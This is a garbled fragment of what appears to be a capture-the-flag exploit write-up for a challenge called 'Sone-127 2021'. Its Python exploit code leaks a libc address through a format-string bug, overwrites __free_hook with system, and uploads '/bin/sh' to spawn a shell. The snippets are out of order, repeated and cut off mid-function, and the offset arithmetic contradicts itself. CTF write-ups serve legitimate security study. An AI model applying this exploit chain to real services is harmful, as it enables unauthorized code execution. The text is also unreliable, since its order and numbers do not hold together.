'); }); Sone-127 2021 -

Sone-127 2021 -

def leak_libc(io): io.sendlineafter(b'> ', b'echo %7$p') io.recvuntil(b'echo ') leak = int(io.recvline().strip(), 16) log.success(f'Leaked address: hex(leak)') # __libc_start_main+231 is the usual location we see; adjust if needed libc_start_main_ret = leak - 231 libc_base = libc_start_main_ret - libc.sym['__libc_start_main'] log.info(f'Libc base: hex(libc_base)') return libc_base

libc_start_main_ret = 0x7f5c1a2b2e30 offset_start_main_ret = 0x21b10 # from libc-2.31.so libc_base = libc_start_main_ret - offset_start_main_ret Running the script yields libc_base = 0x7f5c19000000 (example; actual value varies per instance). From the known libc-2.31.so (downloaded from the official Ubuntu repository):

if __name__ == '__main__': main()

# 2️⃣ Overwrite __free_hook with system write_free_hook(io, libc_base)

# Load the exact libc version used on the server (provided by the challenge) libc = ELF('libc-2.31.so') SONE-127 2021

The final crafted string (Python example):

def get_shell(io): # Upload a file containing /bin/sh io.sendlineafter(b'> ', b'upload sh.txt') io.sendlineafter(b'Enter size: ', b'8') io.send(b'/bin/sh') io.recvuntil(b'> ') def leak_libc(io): io

# 3️⃣ Get a shell get_shell(io)